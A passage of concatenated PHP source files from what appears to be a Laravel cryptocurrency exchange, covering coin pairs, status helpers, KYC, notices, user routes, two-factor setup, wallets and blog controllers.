Carbon::createFromFormat($otherFormat, $otherFieldValue)->getTimestamp(); return [$thisValue, $otherValue]; } catch (Exception $e) { return false; } } private function loadApplicationSettings() { $applicationSettings = settings(); if (empty($applicationSettings)) { try { $applicationSettings = ApplicationSetting::pluck('value', 'slug')->toArray(); foreach ($applicationSettings as $key => $val) { if (is_json($val)) { $applicationSettings[$key] = json_decode($val, true); } } Cache::forever('appSettings', $applicationSettings); } catch (Exception $exception) { return false; } } } } <file_sep><?php namespace App\Services\CoinPair; use App\Models\Coin\CoinPair; use Illuminate\Support\Facades\Cookie; class GetDefaultCoinPair { public function getCoinPair($pair) { if (!empty($pair)) { return $this->_getCoinPair($pair); } $cookieCoinPair = Cookie::get('coinPair'); if (auth()->check() && !empty($cookieCoinPair)) { return $this->_getCoinPair($cookieCoinPair); } elseif (auth()->check() && !empty(auth()->user()->preference->default_coin_pair)) { Cookie::forever('coinPair', auth()->user()->preference->default_coin_pair); return $this->_getCoinPair(auth()->user()->preference->default_coin_pair); } return $this->_getCoinPair(); } public function _getCoinPair($tradePair = null) { return CoinPair::where('is_active', ACTIVE) ->when($tradePair, function ($query) use ($tradePair) { $query->where('name', $tradePair); }) ->when(empty($tradePair), function ($query) { $query->where('is_default', ACTIVE); }) ->first(); } } <file_sep><?php if (!function_exists('no_header_layout')) { function no_header_layout($input = null) { $output = [ 0 => __('Dark'), 1 => __('Light'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('top_nav_type')) { function top_nav_type($input = null) { $output = [ 0 => __('Dark'), 1 => __('Light'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('side_nav_type')) { function side_nav_type($input = null) { $output = [ 0 => __('Solid'), 1 => __('Transparent'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('navigation_type')) { function navigation_type($input = null) { $output = [ 0 => __('Top navigation'), 1 => __('Side navigation'), 2 => __('Both'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('inversed_logo')) { function inversed_logo($input = null) { $output = [ ACTIVE => __('Enabled'), INACTIVE => __('Disabled') ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('maintenance_status')) { function maintenance_status($input = null) { $output = [ ACTIVE => __('Enabled'), INACTIVE => __('Disabled') ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('verified_status')) { function verified_status($input = null) { $output = [ ACTIVE => __('Verified'), INACTIVE => __('Unverified') ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('enable_status')) { function enable_status($input = null) { $output = [ ENABLE => __('Enable'), DISABLE => __('Disable') ]; return is_null($input) ? $output : $output[$input] . 'd'; } } if (!function_exists('transaction_status')) { function transaction_status($input = null) { $output = [ STATUS_PENDING => __('Pending'), STATUS_REVIEWING => __('Reviewing'), STATUS_PROCESSING => __('Processing'), STATUS_COMPLETED => __('Completed'), STATUS_CANCELING => __('Canceling'), STATUS_CANCELED => __('Canceled'), STATUS_FAILED => __('Failed'), STATUS_EMAIL_SENT => __('Email Sent'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('financial_status')) { function financial_status($input = null) { $output = [ ACTIVE => __('Active'), INACTIVE => __('Inactive') ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('maintenance_accessible_status')) { function maintenance_accessible_status($input = null) { $output = [ ACTIVE => __('Enable'), INACTIVE => __('Disable') ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('account_status')) { function account_status($input = null) { $output = [ STATUS_ACTIVE => __('Active'), STATUS_INACTIVE => __('Suspended'), STATUS_DELETED => __('Deleted') ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('active_status')) { function active_status($input = null) { $output = [ ACTIVE => __('Active'), INACTIVE => __('Inactive'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('publish_status')) { function publish_status($input = null) { $output = [ ACTIVE => __('Published'), INACTIVE => __('Unpublished'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('api_permission')) { function api_permission($input = null) { $output = [ ROUTE_REDIRECT_TO_UNAUTHORIZED => '401', ROUTE_REDIRECT_TO_UNDER_MAINTENANCE => 'under_maintenance', ROUTE_REDIRECT_TO_EMAIL_UNVERIFIED => 'email_unverified', ROUTE_REDIRECT_TO_ACCOUNT_SUSPENDED => 'account_suspension', ROUTE_REDIRECT_TO_FINANCIAL_ACCOUNT_SUSPENDED => 'financial_suspension', REDIRECT_ROUTE_TO_USER_AFTER_LOGIN => 'login_success', REDIRECT_ROUTE_TO_LOGIN => 'login', ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('language_switcher_items')) { function language_switcher_items($input = null) { $output = [ 'name' => __('Name'), 'short_code' => __('Short Code'), 'icon' => __('Icon') ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('notices_types')) { function notices_types($input = null) { $output = [ 'warning' => __('Warning'), 'danger' => __('Critical'), 'info' => __('Info') ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('notices_visible_types')) { function notices_visible_types($input = null) { $output = [ NOTICE_VISIBLE_TYPE_PUBLIC => __('Public'), NOTICE_VISIBLE_TYPE_PRIVATE => __('Logged In User Only'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('ticket_status')) { function ticket_status($input = null) { $output = [ STATUS_OPEN => __('Open'), STATUS_PROCESSING => __('Progressing'), STATUS_RESOLVED => __('Resolved'), STATUS_CLOSED => __('Closed'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('order_status')) { function order_status($input = null) { $output = [ STATUS_PENDING => __('Pending'), STATUS_COMPLETED => __('Completed'), STATUS_CANCELED => __('Canceled'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('datatable_downloadable_type')) { function datatable_downloadable_type($input = null) { $output = [ 'dompdf' => [ 'extension' => 'pdf', 'label' => __('Download as PDF'), 'icon_class' => 'fa fa-file-pdf-o text-danger' ], 'csv' => [ 'extension' => 'csv', 'label' => __('Download as CSV'), 'icon_class' => 'fa fa-file-excel-o text-success' ] ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('kyc_status')) { function kyc_status($input = null) { $output = [ STATUS_REVIEWING => __('Reviewing'), STATUS_VERIFIED => __('Verified'), STATUS_DECLINED => __('Decline'), STATUS_EXPIRED => __('Expired'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('id_type')) { function kyc_type($input = null) { $output = [ KYC_TYPE_PASSPORT => __('Passport'), KYC_TYPE_NID => __('NID'), KYC_TYPE_DRIVING_LICENSE => __('Driver License'), ]; return is_null($input) ? $output : $output[$input]; } if (!function_exists('verification_status')) { function verification_status($input = null) { $output = [ VERIFIED => __('Verified'), UNVERIFIED => __('Unverified') ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('coin_types')) { function coin_types($input = null) { $output = [ COIN_TYPE_FIAT => __('Fiat'), COIN_TYPE_CRYPTO => __('Crypto'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('crypto_apis')) { function crypto_apis($input = null) { $output = [ API_COINPAYMENT => __('Coinpayments API'), API_BITCOIN => __('BTC Forked API'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('fiat_apis')) { function fiat_apis($input = null) { $output = [ API_BANK => __('Bank'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('coin_apis')) { function coin_apis($input = null) { $output = crypto_apis() + fiat_apis(); return is_null($input) ? $output : $output[$input]; } } if (!function_exists('get_bitcoin_fields')) { function get_bitcoin_fields() { return [ '_api_scheme' => [ 'field_type' => 'select', 'field_label' => "Schema", 'type_function' => true, 'field_value' => 'http_schemes', ], '_api_host' => [ 'field_type' => 'text', 'validation' => 'required', 'field_label' => "Host", 'encryption' => true ], '_api_port' => [ 'field_type' => 'text', 'validation' => 'required', 'field_label' => "Port", 'encryption' => true ], '_api_rpc_user' => [ 'field_type' => 'text', 'validation' => 'required', 'field_label' => "RPC Username", 'encryption' => true ], '_api_rpc_password' => [ 'field_type' => 'text', 'validation' => 'required', 'field_label' => "RPC Password", 'encryption' => true ], '_api_ssl_cert' => [ 'field_type' => 'text', 'field_label' => "SSL Cert File Location", ] ]; } } if (!function_exists('order_type')) { function order_type($input = null) { $output = [ ORDER_TYPE_BUY => __('Buy'), ORDER_TYPE_SELL => __('Sell'), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('order_categories')) { function order_categories($input = null) { $output = [ ORDER_CATEGORY_LIMIT => __('Limit'), ORDER_CATEGORY_MARKET => __('Market'), ORDER_CATEGORY_STOP_LIMIT => __('Stop Limit'), ]; return is_null($input) ? $output : $output[$input]; } } } if (!function_exists('chart_data_interval')) { function chart_data_interval() { return $intervals = [5 => '5min', 15 => '15min', 30 => '30min', 120 => '2hr', 240 => '4hr', 1440 => '1day']; } } if (!function_exists('fee_types')) { function fee_types($input = null) { $output = [ FEE_TYPE_FIXED => __("Fixed"), FEE_TYPE_PERCENT => __("Percent"), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('http_schemes')) { function http_schemes($input = null) { $output = [ 'http' => __("HTTP"), 'https' => __("HTTPS"), ]; return is_null($input) ? $output : $output[$input]; } } if (!function_exists('transaction_type')) { function transaction_type($input = null) { $output = [ TRANSACTION_TYPE_BALANCE_INCREMENT => __('Increment'), TRANSACTION_TYPE_BALANCE_DECREMENT => __('Decrement'), ]; return is_null($input) ? $output : $output[$input]; } } <file_sep><?php namespace App\Broadcasts\Exchange; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Contracts\Broadcasting\ShouldBroadcastNow; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; class CoinPairSummaryBroadcast implements ShouldBroadcastNow { use Dispatchable, InteractsWithSockets, SerializesModels; public $payloadData; /** * Create a new event instance. * * @param $payloadData */ public function __construct($payloadData) { $this->payloadData = $payloadData; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new Channel(channel_prefix() .'exchange'); } public function broadcastWith() { return $this->payloadData; } } <file_sep><?php namespace App\Http\Requests\Core; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; class NoticeRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'title' => 'required', 'description' => 'required', 'type' => 'required|in:' . array_to_string(notices_types()), 'visible_type' => 'required|in:' . array_to_string(notices_visible_types()), 'start_at' => 'required|date_format:Y-m-d H:i:s', 'end_at' => 'required|date_format:Y-m-d H:i:s|after:start_at', 'is_active' => 'required|in:' . array_to_string(active_status()) ]; } public function attributes() { return [ 'start_at' => __('start time'), 'end_at' => __('end time'), 'is_active' => __('Status') ]; } } <file_sep><?php namespace App\Http\Controllers\KycManagement; use App\Http\Controllers\Controller; use App\Http\Requests\Kyc\AdminKycReasonRequest; use App\Models\Core\Notification; use App\Models\Core\Role; use App\Models\Kyc\KycVerification; use App\Services\Core\DataTableService; use Exception; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\DB; use Illuminate\View\View; class AdminKycController extends Controller { public function index(): View { $searchFields = [ ['email', __('Email')], ]; $orderFields = [ ['email', __('Email')], ]; $filterFields = [ ['status', __('Status'), kyc_status()], ]; $queryBuilder = KycVerification::with('user') ->orderByDesc('created_at'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); $data['title'] = __('KYC Management'); return view('kyc_management.admin.index', $data); } public function show($id): View { $data['verification'] = KycVerification::where('id', $id)->firstOrFail(); $data['title'] = __('View KYC Verification Request'); return view('kyc_management.admin.show', $data); } } <file_sep><?php use App\Http\Controllers\BankAccount\ChangeUserBankAccountStatusController; use App\Http\Controllers\BankAccount\UserBankManagementController; use App\Http\Controllers\TradeHistory\MyTradeHistoryController; use App\Http\Controllers\Core\{NotificationController, PreferenceController, ProfileController}; use App\Http\Controllers\Deposit\UserDepositController; use App\Http\Controllers\GoogleTwoFactor\Google2faController; use App\Http\Controllers\Guest\AuthController; use App\Http\Controllers\KycManagement\UserKycController; use App\Http\Controllers\Orders\CancelOrderController; use App\Http\Controllers\Orders\CreateOrderController; use App\Http\Controllers\Orders\UserOpenOrderController; use App\Http\Controllers\Orders\UserOrderController; use App\Http\Controllers\Referral\ReferralEarningController; use App\Http\Controllers\Referral\ReferralLinkController; use App\Http\Controllers\Referral\UserReferralController; use App\Http\Controllers\Ticket\UserTicketController; use App\Http\Controllers\UserActivity\UserActivityController; use App\Http\Controllers\Wallet\UserWalletController; use App\Http\Controllers\Withdrawal\UserWithdrawalController; use Illuminate\Support\Facades\Route; //User profile Route::get('profile', [ProfileController::class, 'index']) ->name('profile.index'); Route::get('profile/edit', [ProfileController::class, 'edit']) ->name('profile.edit'); Route::put('profile/update', [ProfileController::class, 'update']) ->name('profile.update'); Route::get('profile/change-password', [ProfileController::class, 'changePassword']) ->name('profile.change-password'); Route::put('profile/change-password/update', [ProfileController::class, 'updatePassword']) ->name('profile.update-password'); Route::post('profile/avatar/update', [ProfileController::class, 'avatarUpdate']) ->name('profile.avatar.update'); Route::get('logout', [AuthController::class, 'logout']) ->name('logout')->withoutMiddleware(['2fa']); //Preference Route::get('preference', [PreferenceController::class, 'index']) ->name('preference.index'); Route::get('preference/edit', [PreferenceController::class, 'edit']) ->name('preference.edit'); Route::put('preference/update', [PreferenceController::class, 'update']) ->name('preference.update'); //Google 2FA Route::get('profile/google-2fa', [Google2faController::class, 'create']) ->name('profile.google-2fa.create'); Route::put('profile/google-2fa/{googleCode}/store', [Google2faController::class, 'store']) ->name('profile.google-2fa.store'); Route::put('profile/google-2fa/destroy', [Google2faController::class, 'destroy']) ->name('profile.google-2fa.destroy'); //KYC Route::resource('kyc-verifications', UserKycController::class)->only(['index', 'store']) ->names('kyc-verifications'); //User Specific Notice Route::get('notifications', [NotificationController::class, 'index']) ->name('notifications.index'); Route::get('notifications/{notification}/read', [NotificationController::class, 'markAsRead']) ->name('notifications.mark-as-read'); Route::get('notifications/{notification}/unread', [NotificationController::class, 'markAsUnread']) ->name('notifications.mark-as-unread'); //Ticket Management Route::resource('tickets', UserTicketController::class)->only(['index', 'create', 'store', 'show'])->names('tickets'); Route::put('tickets/{ticket}/close', [UserTicketController::class, 'close']) ->name('tickets.close'); Route::post('tickets/{ticket}/comment', [UserTicketController::class, 'comment']) ->name('tickets.comment.store'); Route::get('ticket/{ticket}/download-attachment/{fileName}', [UserTicketController::class, 'download']) ->name('tickets.attachment.download'); //Wallet Route::get('wallets', [UserWalletController::class, 'index']) ->name('user.wallets.index'); //Deposit Route::resource('wallets/{wallet}/deposits', UserDepositController::class)->except('edit') ->names('user.wallets.deposits'); //Withdrawal Route::resource('wallets/{wallet}/withdrawals', UserWithdrawalController::class) ->except('edit', 'update') ->names('user.wallets.withdrawals'); Route::get('wallets/{wallet}/withdrawals/{withdrawal}/confirmation', [UserWithdrawalController::class, 'confirmation']) ->name('user.wallets.withdrawals.confirmation'); //Create Order Route::post('user/orders/store', [CreateOrderController::class, 'store']) ->name('user.order.store'); //Cancel Order Route::delete('user/order/{order}/destroy', [CancelOrderController::class, 'destroy']) ->name('user.order.destroy'); //Open Orders Route::get('open-orders', [UserOpenOrderController::class, 'index']) ->name('user.open.order'); //Order History Route::get('orders', [UserOrderController::class, 'index']) ->name('user.orders.index'); /*//Cancel Order Route::delete('my-order/{order}/cancel', [CancelOrderController::class, 'destroy']) ->name('my-order.cancel');*/ //Bank Account Route::put('bank-accounts/toggle-status/{bankAccount}', [ChangeUserBankAccountStatusController::class, 'change']) ->name('bank-accounts.toggle-status'); Route::resource('bank-accounts', UserBankManagementController::class) ->except('show'); //Referral Route::get('referral', [ReferralLinkController::class, 'show']) ->name('referral.link.show'); Route::get('referral-users', [UserReferralController::class, 'list']) ->name('referral.users'); Route::get('referral-users/{user}/earnings', [ReferralEarningController::class, 'show']) ->name('referral.users.earnings'); Route::get('referral/earnings', [ReferralEarningController::class, 'index']) ->name('referral.earnings'); //Activity Route::get('activities', [UserActivityController::class, 'index'])->name('my-activities.index'); //Trade History Route::get('trade-history', MyTradeHistoryController::class) ->name('my-trade-history'); <file_sep><?php namespace App\Http\Controllers\Exchange; use App\Http\Controllers\Controller; use App\Services\Exchange\GetLatestTradeService; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; class TradingHistoryController extends Controller { public $getLatestTradeService; public function __construct(GetLatestTradeService $getLatestTradeService) { $this->getLatestTradeService = $getLatestTradeService; } public function __invoke(Request $request): JsonResponse { $tradeHistories = $this->getLatestTradeService->getTrades($this->_conditions($request)); return response()->json($tradeHistories); } public function _conditions($request): array { return [ 'trade_pair' => $request->coin_pair, 'is_maker' => ACTIVE ]; } } <file_sep><?php namespace App\Models\Coin; use App\Models\Exchange\Exchange; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Support\Facades\DB; use Illuminate\Support\Str; class CoinPair extends Model { public $incrementing = false; protected $primaryKey = 'name'; protected $keyType = 'string'; protected $fillable = [ 'trade_coin', 'base_coin', 'is_active', 'is_default', 'last_price', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = sprintf("%s_%s", $model->trade_coin, $model->base_coin); }); } public function coin(): BelongsTo { return $this->belongsTo(Coin::class, 'trade_coin', 'symbol'); } public function baseCoin(): BelongsTo { return $this->belongsTo(Coin::class, 'base_coin', 'symbol'); } public function getTradePairAttribute(): string { return Str::replaceFirst("_", "/", $this->name); } public function exchanges(): HasMany { return $this->hasMany(Exchange::class, 'trade_pair', 'name'); } public function exchangeSummary() { $exchange = new Exchange(); $tableName = $exchange->getTable(); return $this->hasOne(Exchange::class, 'trade_pair', 'name') ->selectRaw('trade_pair, MIN(price) as low_price, MAX(price) as high_price') ->selectRaw('TRUNCATE(SUM(amount),8) as trade_coin_volume') ->selectRaw('TRUNCATE(SUM(amount * price),8) as base_coin_volume') ->addSelect([ 'first_price' => DB::table($tableName, 'ex') ->select('price') ->whereColumn('ex.trade_pair', $tableName . '.trade_pair') ->where('ex.is_maker', ACTIVE) ->where('created_at', '>=', now()->subDay()) ->limit(1) ]) ->where('is_maker', ACTIVE) ->where('created_at', '>=', now()->subDay()) ->groupBy('trade_pair'); } } <file_sep><?php namespace App\Models\Ticket; use App\Models\Core\User; use Carbon\Carbon; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; class TicketComment extends Model { protected $fillable = ['user_id', 'ticket_id', 'content', 'attachment']; public function setCreatedAt($value): void { $this->attributes['created_at'] = $value ?: Carbon::now(); } public function user(): BelongsTo { return $this->belongsTo(User::class); } public function ticket(): BelongsTo { return $this->belongsTo(Ticket::class); } } <file_sep><?php namespace App\Http\Controllers\GoogleTwoFactor; use App\Http\Controllers\Controller; use App\Http\Requests\User\Google2faRequest; use App\Models\Core\User; use App\Services\Core\ProfileService; use Exception; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; use Illuminate\View\View; use PragmaRX\Google2FALaravel\Support\Authenticator; class Google2faController extends Controller { public function create(): View { $data = app(ProfileService::class)->profile(); $data['title'] = __('Google Two Factor Authentication'); if (empty(Auth::user()->google2fa_secret)) { $google2fa = app('pragmarx.google2fa'); $key = Session::get('google_two_factor_code', $google2fa->generateSecretKey(16)); Session::put('google_two_factor_code', $key); $data['secretKey'] = $key; $data['inlineUrl'] = $google2fa->getQRCodeInline(company_name(), Auth::user()->email, $data['secretKey'], 250); } return view('google2fa.create', $data); } public function store(Google2faRequest $request, $googleCode): RedirectResponse { $google2fa = app('pragmarx.google2fa'); try { if ($google2fa->verifyKey($googleCode, $request->google_app_code)) { $updated = Auth::user()->update(['google2fa_secret' => $googleCode]); if ($updated) { $authenticator = app(Authenticator::class)->boot($request); $authenticator->logout(); Session::forget('google_two_factor_code'); Auth::logout(); return redirect()->route('login')->with(RESPONSE_TYPE_SUCCESS, __('Google Authentication has been enabled successfully.')); } } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to enable google authentication.')); } catch (Exception $exception) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to enable google authentication.')); } } public function destroy(Google2faRequest $request): RedirectResponse { $google2fa = app('pragmarx.google2fa'); try { if ($google2fa->verifyKey(Auth::user()->google2fa_secret, $request->google_app_code)) { $updated = User::where(['id' => Auth::user()->id])->first()->update(['google2fa_secret' => null]); if ($updated) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('Google Authentication has been disabled successfully.')); } } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to disabled google authentication.')); } catch (Exception $exception) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to disabled google authentication.')); } } } <file_sep><?php namespace App\Jobs\CoinPair; use App\Models\Coin\Coin; use App\Models\Coin\CoinPair; use Illuminate\Bus\Queueable; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; class DisableAssociatedCoinPairJob { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; private $coin; public function __construct(Coin $coin) { $this->coin = $coin; } /** * Execute the job. * * @return void */ public function handle() { CoinPair::where(function ($query){ $query->where('trade_coin', $this->coin->symbol) ->orWhere('base_coin', $this->coin->symbol); }) ->where('is_active', ACTIVE) ->where('is_default', INACTIVE) ->update(['is_active' => INACTIVE]); } } <file_sep><?php namespace App\Services\BankManagements; use App\Models\BankAccount\BankAccount; use Illuminate\Support\Facades\DB; class BankAccountService { public function _filterAttributes($request, $isSystemBank = false): array { $attributes = $request->only([ 'bank_name', 'iban', 'swift', 'reference_number', 'account_holder', 'bank_address', 'account_holder_address', 'is_verified', 'is_active', 'country_id', ]); if ( !$isSystemBank ) { $attributes['user_id'] = auth()->id(); } return $attributes; } public function getActiveBankAccounts(array $conditions = []) { $model = BankAccount::select(DB::raw("CONCAT(bank_name, ' - ', iban) AS bank_name"), 'id')->where('is_active', ACTIVE); if( !empty($conditions) ) { $model->where($conditions); } return $model->pluck('bank_name', 'id')->toArray(); } } <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use App\Http\Requests\Core\NoticeRequest; use App\Models\Core\Notice; use App\Services\Core\DataTableService; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\Auth; use Illuminate\View\View; class NoticesController extends Controller { public function index(): View { $searchFields = [ ['title', __('Title')], ]; $orderFields = [ ['type', __('Type')], ['status', __('Status')], ['start_at', __('Start Time')], ['end_at', __('End Time')], ]; $filters = [ ['type', __('Type'), notices_types()], ['status', __('Status'), active_status()], ]; $queryBuilder = Notice::orderBy('id', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filters) ->create($queryBuilder); $data['title'] = __('Notices'); return view('core.notices.index', $data); } public function create(): View { $data['title'] = __('Create Notice'); return view('core.notices.create', $data); } public function store(NoticeRequest $request): RedirectResponse { $noticeInput = $request->only(['title', 'description', 'start_at', 'end_at', 'is_active', 'type', 'visible_type']); $noticeInput['created_at'] = Auth::user()->id; $notice = Notice::create($noticeInput); if (!empty($notice)) { return redirect()->route('notices.index')->with(RESPONSE_TYPE_SUCCESS, __('Notice has been created successfully.')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to create notice.')); } public function edit(Notice $notice): View { $data['notice'] = $notice; $data['title'] = __('Edit Notices'); return view('core.notices.edit', $data); } public function update(NoticeRequest $request, Notice $notice): RedirectResponse { $systemNotice = $request->only(['title', 'description', 'start_at', 'end_at', 'is_active', 'type', 'visible_type']); if ($notice->update($systemNotice)) { return redirect($this->getRedirectUri())->with(RESPONSE_TYPE_SUCCESS, __('Notice has been updated successfully.')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update notice.')); } public function destroy(Notice $notice): RedirectResponse { if ($notice->delete()) { return back()->with(RESPONSE_TYPE_SUCCESS, __('Notice has been deleted successfully.')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to delete notice.')); } } <file_sep><?php return [ 'configurable_routes' => [ ], ROUTE_TYPE_AVOIDABLE_MAINTENANCE => [ ], ROUTE_TYPE_AVOIDABLE_UNVERIFIED => [ ], ROUTE_TYPE_AVOIDABLE_INACTIVE => [ ], ROUTE_TYPE_FINANCIAL => [ ], ROUTE_TYPE_GLOBAL => [ ], ]; <file_sep><?php /** @var Factory $factory */ use App\Models\Core\Notification; use App\Models\Core\User; use Faker\Generator as Faker; use Illuminate\Database\Eloquent\Factory; $factory->define(Notification::class, function (Faker $faker) { return [ 'user_id' => User::inRandomOrder()->first()->id, 'message' => $faker->sentence ]; }); <file_sep><?php namespace App\Http\Controllers\Post; use App\Http\Controllers\Controller; use App\Models\Post\Post; use App\Models\Post\PostCategory; use App\Models\Post\PostComment; use App\Services\Blog\GetPostCategoryService; use App\Services\Blog\GetRecentPostService; use Illuminate\View\View; class BlogController extends Controller { public function index(): View { $data['title'] = __('Blog'); $data['posts'] = Post::where('is_published', ACTIVE) ->with('postCategory') ->withCount('comments') ->orderBy('created_at', 'desc') ->simplePaginate(12); $data['featuredPosts'] = Post::where('is_featured', ACTIVE) ->where('is_published', ACTIVE) ->with('postCategory') ->withCount('comments') ->orderBy('created_at', 'desc') ->take(3) ->get(); $this->__getSidebarData($data); return view('posts.blog.index', $data); } public function show($slug): View { $data['post'] = Post::where([ 'slug' => $slug, 'is_published' => ACTIVE ])->withCount('comments')->with('postCategory')->firstOrFail(); $data['title'] = $data['post']->title; $data['comments'] = PostComment::query() ->select(['id', 'post_comment_id', 'user_id', 'content', 'created_at']) ->where('post_id', $data['post']->id) ->whereNull('post_comment_id') ->orderByDesc('created_at') ->with('user.profile', 'commentReplies.user.profile') ->simplePaginate(5); $this->__getSidebarData($data); return view('posts.blog.show', $data); } protected function __getSidebarData(&$data) { $data['recentPosts'] = Post::select(['id', 'title', 'slug', 'created_at']) ->where('is_published', ACTIVE) ->orderBy('created_at', 'desc') ->take(5) ->get(); $data['activeCategories'] = PostCategory::select(['name', 'slug']) ->where('is_active', ACTIVE) ->orderBy('name', 'asc') ->get(); } } <file_sep><?php namespace App\Services\Wallet; use App\Models\Wallet\Wallet; use App\Services\Core\DataTableService; class WalletService { protected $searchFields; protected $orderFields; protected $whereArray; protected $filterFields; protected $select; protected $downloadableHeadings; public function getWallets($userId = null, $isSystemWallet = false): array { $this->setSearchFields($userId); $this->setOrderFields($userId); $this->setDownloadableHeadings($userId); $this->setWhereArray($userId, $isSystemWallet); $this->setFilterFields(); $this->setSelect($userId); $queryBuilder = Wallet::leftJoin('coins', 'wallets.coin_id', '=', 'coins.id') ->where($this->whereArray); if (is_null($userId)) { $queryBuilder->leftJoin('users', 'wallets.user_id', '=', 'users.id') ->leftJoin('user_profiles', 'users.id', '=', 'user_profiles.user_id'); } $queryBuilder->select($this->select)->orderBy('wallets.created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($this->searchFields) ->setOrderFields($this->orderFields) ->setFilterFields($this->filterFields) ->downloadable($this->downloadableHeadings) ->create($queryBuilder); return $data; } public function setSearchFields($userId = null): void { $searchFields = [ ['coins.name', __('Wallet Name')], ]; if (is_null($userId)) { $searchFields[] = ['users.email', __('User Email')]; $searchFields[] = ['user_profiles.first_name', __('User First Name')]; $searchFields[] = ['user_profiles.last_name', __('User Last Name')]; } $this->searchFields = $searchFields; } public function setOrderFields($userId = null): void { if (is_null($userId)) { $orderFields[] = ['users.email', __('User Email')]; $orderFields[] = ['user_profiles.first_name', __('User First Name')]; $orderFields[] = ['user_profiles.last_name', __('User Last Name')]; } $this->orderFields = $orderFields; } public function setDownloadableHeadings($userId = null): void { $downloadableHeadings = [ 'coins.symbol' => __('Symbol'), 'coins.name' => __('Symbol Name'), 'wallets.primary_balance' => __('Balance'), 'wallets.address' => __('Address'), 'coins.type' => __('Type'), 'coins.total_withdrawal' => __('Total Withdrawal'), 'coins.total_withdrawal_fee' => __('Total Withdrawal Fee'), 'coins.total_deposit' => __('Total Deposit'), 'coins.total_deposit_fee' => __('Total Deposit Fee'), ]; if (is_null($userId)) { $downloadableHeadings['user_profiles.first_name'] = __('First Name'); $downloadableHeadings['user_profiles.last_name'] = __('Last Name'); $downloadableHeadings['users.email'] = __('email'); } $this->downloadableHeadings = $downloadableHeadings; } public function setWhereArray($userId = null, $isSystemWallet = false): void { $whereArray = [ 'is_system_wallet' => $isSystemWallet ? INACTIVE: ACTIVE ]; if (!is_null($userId)) { $whereArray['user_id'] = $userId; } $this->whereArray = $whereArray; } public function setFilterFields(): void { $filterFields = [ ['primary_balance', __('Balance'), 'preset', null, [ [__('Hide 0(zero) balance'), '>', 0], ] ], ]; $this->filterFields = $filterFields; } public function setSelect($userId = null): void { $select = ['wallets.*', 'coins.symbol', 'coins.name', 'coins.type', 'transaction_status', 'withdrawal_status']; if (is_null($userId)) { $select[] = 'user_profiles.first_name'; $select[] = 'user_profiles.last_name'; $select[] = 'users.email'; } $this->select = $select; } } <file_sep><?php /** @var Factory $factory */ use App\Models\Core\User; use App\Models\Ticket\Ticket; use Faker\Generator as Faker; use Illuminate\Database\Eloquent\Factory; $factory->define(Ticket::class, function (Faker $faker) { return [ 'id' => $faker->uuid, 'user_id' => User::inRandomOrder()->first()->id, 'assigned_to' => User::where('assigned_role', USER_ROLE_ADMIN)->inRandomOrder()->first()->id, 'title' => 